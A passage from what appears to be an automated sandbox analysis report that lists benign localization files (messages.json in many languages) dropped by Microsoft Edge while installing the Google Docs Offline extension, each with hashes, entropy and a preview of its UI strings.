Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
